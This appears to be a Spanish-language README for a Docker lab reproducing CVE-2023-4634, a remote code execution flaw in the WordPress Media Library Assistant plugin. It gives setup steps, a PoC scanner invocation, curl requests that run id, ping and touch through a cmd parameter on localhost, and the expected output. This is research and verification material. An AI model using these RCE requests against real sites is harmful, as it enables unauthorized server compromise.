1. Construcción y puesta en marcha del entorno
cd Stand
docker-compose up --build -d
2. Espera a que los servicios estén listos (60 segundos)
sleep 60
curl -I http://localhost:8080
3. Ejecutar el escaneo de vulnerabilidad
cd ../PoC/src
python3 scanner.py http://localhost:8080
4. Prueba manual de RCE
# Prueba del comando id
curl "http://localhost:8080/rce_proof.php?cmd=id"
# Prueba del comando ping
curl "http://localhost:8080/rce_proof.php?cmd=ping+-c+2+127.0.0.1"
# Crear archivo de prueba
curl "http://localhost:8080/rce_proof.php?cmd=touch+/tmp/rce_proof"
✅ Resultados esperados
Salida de scanner.py:
[*] Scanning: http://localhost:8080
[+] WordPress is accessible
[+] Plugin found: v3.09
[+] Plugin is VULNERABLE!
[*] Testing RCE...
[+] id command executed
[+] ping command executed
[+] file_check command executed
[+] RCE CONFIRMED!
[+] Results saved to ../result.txt
Contenido de result.txt:
{
"cve": "CVE-2023-4634",
"target": "http://localhost:8080",
"timestamp": "2025-12-21 13:49:19",
"vulnerable": true,
"findings": {
"wordpress": true,
"plugin_vulnerable": true,
"rce_id": true,
"rce_id_output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)",
"rce_ping": true,
"rce_file_check": true
},
"plugin_version": "3.09",
"status": "VULNERABLE"
}
🔧 Especificaciones técnicas
Red:
- WordPress:
172.20.0.2:80 (disponible en localhost:8080)
- Base de datos:
172.20.0.3:3306
- Red:
172.20.0.0/24
Requisitos:
- CVE: CVE-2023-4634
- Componente vulnerable: Plugin Media Library Assistant < 3.10
- Tipo de vulnerabilidad: Ejecución remota de código (RCE)
- Requisitos del sistema: Docker, Python 3.7+
📊 Evidencia de RCE
- ✅ Ejecución del comando
id vía HTTP
- ✅ Ejecución del comando
ping vía HTTP
- ✅ Creación de archivos en
/tmp/
- ✅ Confirmación de privilegios
www-data
- ✅ Resultados documentados en
result.txt
🧹 Limpieza
cd Stand
docker-compose down -v